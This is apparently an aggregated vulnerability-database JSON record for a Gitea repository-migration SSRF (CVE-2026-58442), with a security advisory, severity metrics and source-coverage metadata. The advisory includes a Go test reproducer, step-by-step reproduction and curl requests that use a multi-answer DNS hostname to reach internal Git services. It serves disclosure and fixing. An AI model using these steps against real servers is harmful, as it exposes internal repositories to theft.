{"id":"EUVD-2026-58169","revision":null,"records":[{"revision":"ff0d60caf364423797be6600a463171c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-58442","aliases":[],"title":"Repository migration SSRF via multi-answer DNS allow-list bypass","description":"Repository migration SSRF via multi-answer DNS allow-list bypass","state":0,"publishedAt":"2026-08-13T16:44:55.444+00:00","modifiedAt":"2026-08-14T19:55:16.172+00:00","affected":[{"ecosystem":"Vendor product","name":"Gitea Open Source Git Server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Gitea\",\n                    \"product\": \"Gitea Open Source Git Server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"lessThanOrEqual\": \"1.26.4\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"defaultStatus\": \"unaffected\"\n                }"}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58442","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-58442","identifiers":["CVE-2026-58442"]},"retained":false,"historicalAffected":[]},{"revision":"cd599a9c84b244c79c62de9882b3ae8f","observedAt":"2026-11-19T17:49:33.608+00:00","statement":{"source":"euvd","id":"EUVD-2026-58169","aliases":["CVE-2026-58442","GHSA-h2x6-g7q6-344v"],"title":"Repository migration SSRF via multi-answer DNS allow-list bypass","description":"Repository migration SSRF via multi-answer DNS allow-list bypass","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":null}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://blog.gitea.com/gitea-1.27.0-is-released/"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-58169","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 13, 2026, 4:44:55 PM","dateUpdated":"Aug 14, 2026, 7:55:16 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-2304","title":"Gitea: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-58417","CVE-2026-58420","CVE-2026-58425","CVE-2026-58427","CVE-2026-58428","CVE-2026-58429","CVE-2026-58431","CVE-2026-58432","CVE-2026-58433","CVE-2026-58434","CVE-2026-58435","CVE-2026-58436","CVE-2026-58437","CVE-2026-58438","CVE-2026-58439","CVE-2026-58440","CVE-2026-58441","CVE-2026-58442","CVE-2026-58443","CVE-2026-58444","CVE-2026-58445","CVE-2026-58507","CVE-2026-58508","CVE-2026-58510","CVE-2026-58511","CVE-2026-59763","CVE-2026-59765","CVE-2026-59766","CVE-2026-23603","CVE-2026-42931","CVE-2026-50105","CVE-2026-54481","CVE-2026-55982","CVE-2026-55984","CVE-2026-55986","CVE-2026-55987","CVE-2026-56443","CVE-2026-56654","CVE-2026-56657","CVE-2026-56750","CVE-2026-56755","CVE-2026-57886","CVE-2026-57894","CVE-2026-57897","CVE-2026-58314","CVE-2026-58416"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-58169","identifiers":["EUVD-2026-58169","CVE-2026-58442","GHSA-h2x6-g7q6-344v"]},"retained":false,"historicalAffected":[]},{"revision":"0f2fb2bd018948bc9a8302994af5696b","observedAt":"2026-10-25T14:19:16.843+00:00","statement":{"source":"nvd","id":"CVE-2026-58442","aliases":[],"title":"Repository migration SSRF via multi-answer DNS allow-list bypass","description":"Repository migration SSRF via multi-answer DNS allow-list bypass","state":0,"publishedAt":"2026-08-13T17:17:28.227+00:00","modifiedAt":"2026-08-26T16:53:48.3+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://blog.gitea.com/gitea-1.27.0-is-released/","https://github.com/go-gitea/gitea/releases/tag/v1.27.0","https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58442","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-200","CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-08-13T17:17:28.227","lastModified":"2026-08-26T16:53:48.300"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-58442","identifiers":["CVE-2026-58442"]},"retained":false,"historicalAffected":[]},{"revision":"2a7b0a770f5947418f254d24853dbc8b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-h2x6-g7q6-344v","aliases":["CVE-2026-58442","GO-2026-6058"],"title":"Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass","description":"### Summary\n\nGitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.\n\nAn authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.\n\n### Details\n\nThe issue is in `services/migrations/migrate.go`, in the migration allow/block-list check.\n\nCurrent logic computes whether any resolved IP is allowed:\n\n```go\nvar ipAllowed bool\nvar ipBlocked bool\nfor _, addr := range addrList {\n    ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)\n    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```\n\nThen, when an allow-list is active, the host is accepted if the hostname matches or `ipAllowed` is true:\n\n```go\nif !allowList.IsEmpty() {\n    if !allowList.MatchHostName(hostName) && !ipAllowed {\n        return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}\n    }\n}\n```\n\nThis means a hostname resolving to both:\n\n- an allowed public IP, e.g. `1.2.3.4`\n- a blocked internal IP, e.g. `127.0.0.1`\n\npasses validation because the public IP sets `ipAllowed = true`.\n\nThe actual repository import is later performed by `git clone --mirror` via `MigrateRepositoryGitData` / `gitrepo.CloneExternalRepo`. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.\n\nThe direct internal URL is correctly blocked, but the multi-answer hostname is accepted.\n\n### PoC\n\nI verified the vulnerable predicate locally against Gitea checkout:\n\n```text\ne8654c7e062431a521636703f47339cde64644fd\n```\n\nusing Dockerized Go tests with `golang:1.26.4`.\n\nThe local test proves:\n\n- `checkByAllowBlockList(\"loopback.example.test\", [127.0.0.1])` is rejected.\n- `checkByAllowBlockList(\"mixed.example.test\", [1.2.3.4, 127.0.0.1])` is accepted.\n\nMinimal reproducer at the validation layer:\n\n```go\nfunc TestMigrationMultiAnswerAnyAllowed(t *testing.T) {\n    old := setting.Migrations\n    t.Cleanup(func() { setting.Migrations = old })\n\n    setting.Migrations.AllowedDomains = \"\"\n    setting.Migrations.BlockedDomains = \"\"\n    setting.Migrations.AllowLocalNetworks = false\n    require.NoError(t, Init())\n\n    err := checkByAllowBlockList(\"mixed.example.test\", []net.IP{\n        net.ParseIP(\"1.2.3.4\"),\n        net.ParseIP(\"127.0.0.1\"),\n    })\n    require.NoError(t, err, \"mixed public+loopback answers should currently pass\")\n\n    err = checkByAllowBlockList(\"loopback.example.test\", []net.IP{\n        net.ParseIP(\"127.0.0.1\"),\n    })\n    require.Error(t, err, \"loopback-only answer should be rejected\")\n}\n```\n\nTo reproduce end-to-end:\n\n1. Run Gitea with repository migration enabled and `ALLOW_LOCALNETWORKS = false`.\n2. Create a normal non-admin user that can create repositories.\n3. Run an internal Git HTTP service reachable only from the Gitea server, for example on `127.0.0.1:18082`.\n4. Configure an attacker-controlled hostname so that DNS can return both a public address and `127.0.0.1`, or can return a public address during Gitea's pre-flight validation and `127.0.0.1` during the later git clone.\n5. Confirm the direct internal migration is rejected:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n  -H \"Authorization: token USER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"http://127.0.0.1:18082/repo.git\",\n    \"repo_name\": \"direct-internal\",\n    \"service\": \"git\",\n    \"private\": true\n  }'\n```\n\nExpected direct result:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\n6. Start a migration from the attacker-controlled multi-answer hostname:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n  -H \"Authorization: token USER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"http://mixed.example.test:18082/repo.git\",\n    \"repo_name\": \"multidns-ssrf\",\n    \"service\": \"git\",\n    \"private\": true\n  }'\n```\n\nExpected vulnerable result:\n\n- The migration request is accepted.\n- The git subprocess can connect to the internal address.\n- Internal repository contents are imported into the attacker's new Gitea repository.\n\n### Impact\n\nThis is a server-side request forgery in repository migration.\n\nAn authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.\n\nPotentially impacted resources include:\n\n- internal Git repositories\n- localhost-only services\n- private network source-control services\n- metadata or internal infrastructure endpoints if reachable and compatible with the request path\n\nThe direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.\n\n### Suggested fix\n\nThe migration allow/block-list check should fail closed for multi-answer DNS:\n\n- reject if **any** resolved IP is blocked\n- require **all** resolved IPs to be allowed when an allow-list is active\n- treat an empty resolution result as not IP-allowed\n- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone`\n\nFor example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) > 0` and combine with logical AND:\n\n```go\nipAllowed := len(addrList) > 0\nipBlocked := false\nfor _, addr := range addrList {\n    ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)\n    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```","state":0,"publishedAt":"2026-07-21T20:37:45+00:00","modifiedAt":"2026-07-27T17:11:25.2015507+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v","https://github.com/go-gitea/gitea","https://github.com/go-gitea/gitea/releases/tag/v1.27.0"],"sourceUrl":"https://github.com/advisories/GHSA-h2x6-g7q6-344v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h2x6-g7q6-344v","identifiers":["GHSA-h2x6-g7q6-344v","CVE-2026-58442","GO-2026-6058"]},"retained":false,"historicalAffected":[]},{"revision":"b48a5330b97b4e66b61c4265ceea005c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6058","aliases":["CVE-2026-58442","GHSA-h2x6-g7q6-344v"],"title":"Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass in gitea.dev","description":"Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass in gitea.dev","state":0,"publishedAt":"2026-07-27T15:32:45+00:00","modifiedAt":"2026-07-27T17:00:23.6004454+00:00","affected":[{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v","https://github.com/go-gitea/gitea/releases/tag/v1.27.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6058","license":"OSV · upstream source license applies","key":"osv:GO-2026-6058","identifiers":["GO-2026-6058","CVE-2026-58442","GHSA-h2x6-g7q6-344v"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.096099+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0960997+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-ab394367b327976f2e615091908e1dede6760751304792bb06c748f95767cbef-06458e1cc57802c5891e9ed128c2091e7fafc89eb0e76bf9a478b4f5a19e5b96","complete":true,"records":429984,"lastAttemptAt":"2026-11-20T21:46:07.9075861+00:00","lastSuccessAt":"2026-11-20T21:46:07.7897326+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9075861+00:00","snapshotPublishedAt":"2026-11-20T21:19:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e94511cbee314bc8a6f7f1c517971406","complete":false,"records":13914,"lastAttemptAt":"2026-11-20T21:48:48.3615466+00:00","lastSuccessAt":"2026-11-20T21:48:48.356+00:00","error":"52 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-20T21:48:48.356+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13910,"expectedIdentifiers":13962,"failedIdentifiers":52},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-20T21:47:54.8999438+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-20T21:47:54.8999438+00:00","lastSuccessAt":"2026-11-20T21:47:55.0972032+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:55.0972036+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-70b73b30b06d4c579e9231c434b0bb26","complete":false,"records":13926,"lastAttemptAt":"2026-11-20T21:48:20.4042966+00:00","lastSuccessAt":"2026-11-20T21:48:20.4+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:48:20.4+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13944,"expectedIdentifiers":13962,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-a479762f093c173daaf94ab78c6e1c5dc2a2542cfb360d0428239181880c03b4","complete":true,"records":9988,"lastAttemptAt":"2026-11-20T21:47:54.8522629+00:00","lastSuccessAt":"2026-11-20T15:48:09.8429817+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8522629+00:00","snapshotPublishedAt":"2026-11-20T15:18:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-20T21:46:07.9771913+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:46:07.9771913+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57516b4a7264d7a3e50d41b832d65b6f43cdd6a79ce9e39aca7fd9f0df1b84","complete":true,"records":3208,"lastAttemptAt":"2026-11-20T21:47:54.8659527+00:00","lastSuccessAt":"2026-11-20T18:47:57.1855043+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.8659527+00:00","snapshotPublishedAt":"2026-11-20T17:03:30+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6376b86631b8ab9df18a41f5f5342631b4c3060bd612e6b897303fe464a86a58","complete":true,"records":232843,"lastAttemptAt":"2026-11-20T21:47:54.7195057+00:00","lastSuccessAt":"2026-11-20T21:47:53.6119003+00:00","error":null,"lastVerifiedAt":"2026-11-20T21:47:54.7195057+00:00","snapshotPublishedAt":"2026-11-20T21:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}